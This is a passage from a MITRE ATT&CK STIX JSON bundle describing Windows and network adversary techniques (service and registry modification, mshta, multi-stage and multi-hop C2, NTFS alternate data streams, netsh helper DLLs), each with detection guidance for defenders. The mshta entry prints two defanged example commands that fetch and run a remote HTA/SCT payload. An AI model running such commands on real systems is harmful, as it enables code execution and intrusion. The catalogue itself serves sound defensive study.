            "created": "2017-05-31T21:30:38.511Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Modify Existing Service",
            "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)",
            "external_references": [
                {
                    "external_id": "T1031",
                    "url": "https://attack.mitre.org/techniques/T1031",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-551",
                    "url": "https://capec.mitre.org/data/definitions/551.html",
                    "source_name": "capec"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
                    "source_name": "Twitter Service Recovery Nov 2017"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)",
                    "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.",
                    "source_name": "Microsoft Service Recovery Feb 2013"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:34.928Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Modify Registry",
            "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reg)hide NOV 2006 Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.",
            "external_references": [
                {
                    "external_id": "T1112",
                    "url": "https://attack.mitre.org/techniques/T1112",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx",
                    "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.",
                    "source_name": "Microsoft Reg"
                },
                {
                    "url": "https://docs.microsoft.com/sysinternals/downloads/reghide",
                    "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.",
                    "source_name": "Microsoft Reghide NOV 2006"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull",
                    "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.",
                    "source_name": "Microsoft RegDelNull July 2016"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx",
                    "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.",
                    "source_name": "Microsoft Remote"
                },
                {
                    "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353",
                    "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.",
                    "source_name": "SpectorOps Hiding Reg Jul 2017"
                },
                {
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.",
                    "source_name": "Microsoft 4657 APR 2017"
                },
                {
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/",
                    "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.",
                    "source_name": "TrendMicro POWELIKS AUG 2014"
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            "x_mitre_contributors": [
                "Bartosz Jerzman",
                "Travis Smith, Tripwire",
                "David Lu, Tripwire"
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            "x_mitre_data_sources": [
                "Windows Registry",
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters",
                "Windows event logs"
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            ],
            "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).",
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:23.587Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)",
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                {
                    "external_id": "T1170",
                    "url": "https://attack.mitre.org/techniques/T1170",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/HTML_Application",
                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
                    "source_name": "Wikipedia HTML Application"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms536471.aspx",
                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                    "source_name": "MSDN HTML Applications"
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                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
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                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/",
                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                    "source_name": "Red Canary HTA Abuse Part Deux"
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                    "source_name": "FireEye Attacks Leveraging HTA"
                },
                {
                    "description": "[ Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, 2017.",
                    "source_name": "GitHub SubTee The List"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "source_name": "FireEye FIN7 April 2017"
                },
                {
                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
                    "source_name": "Airbus Security Kovter Analysis"
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                "Process monitoring",
                "Process command-line parameters"
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            "x_mitre_contributors": [
                "Ricardo Dias",
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
            ],
            "x_mitre_defense_bypassed": [
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            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
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            "x_mitre_domains": [
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            "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.",
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                    "external_id": "T1104",
                    "url": "https://attack.mitre.org/techniques/T1104",
                    "source_name": "mitre-attack"
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                "Network protocol analysis",
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                "Process use of network"
            ],
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            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
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                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:15.935Z",
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Multi-hop Proxy",
            "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.",
            "external_references": [
                {
                    "external_id": "T1188",
                    "url": "https://attack.mitre.org/techniques/T1188",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Network protocol analysis",
                "Netflow/Enclave netflow"
            ],
            "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Multiband Communication",
            "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.",
            "external_references": [
                {
                    "external_id": "T1026",
                    "url": "https://attack.mitre.org/techniques/T1026",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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                "Netflow/Enclave netflow",
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                "Malware reverse engineering",
                "Process monitoring"
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            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:32.259Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Multilayer Encryption",
            "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.",
            "external_references": [
                {
                    "external_id": "T1079",
                    "url": "https://attack.mitre.org/techniques/T1079",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "source_name": "SANS Decrypting SSL"
                },
                {
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "source_name": "SEI SSL Inspection Risks"
                },
                {
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "source_name": "Fidelis DarkComet"
                }
            ],
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Packet capture",
                "Process use of network",
                "Malware reverse engineering",
                "Process monitoring"
            ],
            "x_mitre_detection": "If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:01.315Z",
            "spec_version": "2.1",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "NTFS File Attributes",
            "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
            "external_references": [
                {
                    "external_id": "T1096",
                    "url": "https://attack.mitre.org/techniques/T1096",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/aa364404",
                    "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.",
                    "source_name": "Microsoft File Streams"
                },
                {
                    "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
                    "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
                    "source_name": "Journey into IR ZeroAccess NTFS EA"
                },
                {
                    "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                    "source_name": "MalwareBytes ADS July 2015"
                },
                {
                    "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
                    "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
                    "source_name": "SpectorOps Host-Based Jul 2017"
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                {
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "source_name": "Microsoft ADS Mar 2014"
                },
                {
                    "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
                    "source_name": "Symantec ADS May 2009"
                },
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                    "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
                    "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
                    "source_name": "Microsoft NTFS File Attributes Aug 2010"
                },
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                    "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/",
                    "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
                    "source_name": "Oddvar Moe ADS1 Jan 2018"
                },
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                    "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/",
                    "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
                    "source_name": "Oddvar Moe ADS2 Apr 2018"
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            "x_mitre_contributors": [
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            "x_mitre_data_sources": [
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                "Kernel drivers",
                "API monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
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                "Anti-virus"
            ],
            "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "NTFS partitioned hard drive"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:11.147Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Netsh Helper DLL",
            "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)",
            "external_references": [
                {
                    "external_id": "T1128",
                    "url": "https://attack.mitre.org/techniques/T1128",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://technet.microsoft.com/library/bb490939.aspx",
                    "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
                    "source_name": "TechNet Netsh"
                },
                {
                    "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
                    "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
                    "source_name": "Demaske Netsh Persistence"
                },
                {
                    "url": "https://github.com/outflankbv/NetshHelperBeacon",
                    "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.",
                    "source_name": "Github Netsh Helper CS Beacon"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "DLL monitoring",
                "Windows Registry",
                "Process monitoring"
            ],
            "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "[[Software/S0108|netsh]]"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:40.168Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Service Scanning",
            "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.",
            "external_references": [
                {
                    "external_id": "T1046",
                    "url": "https://attack.mitre.org/techniques/T1046",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
